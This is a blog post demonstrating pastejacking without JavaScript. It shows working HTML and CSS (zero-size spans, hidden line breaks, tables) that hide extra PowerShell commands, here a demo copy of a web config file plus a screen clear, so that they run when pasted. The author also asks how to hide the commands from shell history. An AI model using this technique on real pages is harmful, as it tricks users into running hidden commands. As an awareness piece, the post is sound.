Don't Trust Copy & Paste - even with JavaScript disabled
Posted on
I've seen a few articles recently advising readers to not blindly copy/paste code from a website into your CLI directly because, with a small bit of JavaScript, you can overwrite the clipboard.
This is something that has been known about for a while and for some reason has seemingly resurfaced recently. The advice is to always paste into a text editor first to ensure what you think you have copied is actually what you have copied. However, I have seen comments about how you should disable JavaScript unless you need it in order to prevent this from occurring.
As awkward as this "disabling JavaScript" advice is on the modern web (and it does require some technical knowledge to enable just what you need) I agree, and in fact disable JavaScript by default. However, for this particular issue, this doesn't matter. You can achieve essentially the same thing without any JavaScript.
The stuff below isn't new. In fact, in the linked article is a link to a reddit thread where someone outlines this exact problem. But I feel that it can't hurt to reiterate. And explore!
So, for the obligatory warning: Don't paste anything on this page into a Powershell window. Don't paste it into anything but a text editor. The examples below shouldn't be harmful but… look, just don't risk it, okay?
Oh, and disable JavaScript if you want.
Malicious String - copy and paste the below example into a text editor (NOT a Powershell window)
echo 'hello,' |
copy c:\inetpub\www\config.php c:\inetpub\www\config.php.txt -whatif |
clear |
echo 'hello world!' |
Let's explore how we got here and what we can do about it.
The goal: hide text within an interesting string, so that when it is copied the user thinks they're copying one thing, but they have instead copied something else. Without JavaScript.
Invisible Text
This is easy with CSS - in these examples I am using inline styling so you can see what's being done. I've opted to use some example (probably-not-but-potentially-dangerous) Powershell, but anything works here. Bash, Python, SQL, .htaccess config, phone numbers, anything. The only limit is your imagination, and as always, what you can trick an end user into blindly pasting.
Malicious String - copy and paste the below example into a text editor (NOT a Powershell window)
echo 'hello,'; copy c:\inetpub\www\config.php c:\inetpub\www\config.php.txt -whatif;clear;echo 'hello world!'
Source: (You may need to scroll right to see it all)
<p>echo 'hello,<span style="font-size: 0;">'; copy c:\inetpub\www\config.php c:\inetpub\www\config.php.txt -whatif;clear;echo 'hello</span> world!'</p>
As you can see, setting the font-size to zero on the <span>
's with CSS simply makes the contents invisible in the browser, but highlighting it and copying it still grabs the 'invisible' contents. (We've not used display:none
here as whilst that hides the text, it also prevents it from being copied.)
This could be the end of the article, but... we can go deeper. This example does require the user to blindly press return after pasting it to execute the command, which risks them spotting the potentially-malicious content before it's executed. In a config file this isn't really avoidable as far as I know (as the user will still have to save it blindly) but in the CLI...?
Can we use newlines to automatically execute the code instead of relying on a semi-colon (in this example) and the user pressing return? Let's have a go!
Invisible Text, with newlines!
Malicious String - copy and paste the below example into a text editor (NOT a Powershell window)
echo 'hello,'
copy c:\inetpub\www\config.php c:\inetpub\www\config.php.txt -whatif
clear
echo 'hello world!'
Source: (You may need to scroll right to see it all)
<p>echo 'hello,<span style="font-size: 0;">'<br>copy c:\inetpub\www\config.php c:\inetpub\www\config.php.txt -whatif<br>clear<br>echo 'hello</span> world!'</p>
We've simply added in some <br>
's that render as newlines. If you paste this into a text editor you can see it works, but the issue is obvious - the malicious string clearly has something wrong with it as it spreads over a few lines, which will probably raise an eyebrow or three. I purposefully haven't injected a newline after the last section, as whilst in our example the screen has been cleared, the end user still sees that they need to press return to execute, as they expect to. Psychologically I feel that this appears safer for them, and whilst they're probably wondering why their terminal history has vanished they might not think about it too much if they can see the code they copied seemingly hasn't even been executed yet.
The question is, can we include newlines, whilst not rendering newlines in the browser?
Spoiler: yes.
Invisible Text, Invisible Newlines!
The 1990's called and wanted to become relevant again. So I said, "okay, I'll give you one cool trick that'll have sysadmins peeved."
Yep, you guessed it, the classic web-dev nightmare - the <table>
- comes to the rescue.
Malicious String - copy and paste the below example into a text editor (NOT a Powershell window)
echo 'hello,' |
copy c:\inetpub\www\config.php c:\inetpub\www\config.php.txt -whatif |
clear |
echo 'hello world!' |
Source: (You may need to scroll right to see it all)
<table style="border-spacing: 0;width:auto;"> <tr> <td style="vertical-align: text-top;padding: 0;"> echo 'hello, <span style="font-size: 0;">'<br></span> </td> <td style="vertical-align: text-top;padding: 0;"> <span style="font-size: 0;">copy c:\inetpub\www\config.php c:\inetpub\www\config.php.txt -whatif<br></span> </td> <td style="vertical-align: text-top;padding: 0;"> <span style="font-size: 0;">clear<br></span> </td> <td style="vertical-align: text-top;padding: 0;"> <span style="font-size: 0;">echo 'hello</span> world!' </td> </tr> </table>
This is the same example used at the top of this post.
So, some things are happening here. Let's step through them. Note that you may need to add, remove or modify these depending on what CSS rules the site in question is using.
border-spacing: 0;
on the table - this removes all spacing from the borders of the table. If you don't declare this, your cells will take up space, so you'll end up with gaps between your letters which will look strange.padding: 0;
- Removes all padding from the cells. Similar to theborder-spacing
declaration above, if you don't declare this, your cells will take up space, so you'll end up with gaps between your letters.vertical-align: text-top;
- This will ensure the text in the cells always aligns to the top. The table (and<td>
's) grow to match the tallest<td>
, and typically text will render in the middle of a<td>
, so this just resets that.width:auto;
- we have declared this here as my WordPress theme makes tables 100% width by default, which ruins things in this case.
Because we're using a table and copying content from across multiple cells, you end up with an extra character at the start of every line except the first - the tab character. Handily, every terminal or console window I tried completely ignores this character, so we can too!
Remaining Challenge
The only issue I can find with this technique is not with the technique itself, but with the execution of the "secret" code - to anyone paying attention, it'll be obvious what's happened. What, your screen suddenly clear
'd? That's suspicious. I've looked into a way to rebuild the CLI history on both bash and powershell and as far as I can tell it's not possible to do with any kind of guaranteed accuracy.
Any ideas? Leave a comment or send me an email, I'd be interested to see if the very execution of these commands can be hidden from the screen (.bash_history
is another thing)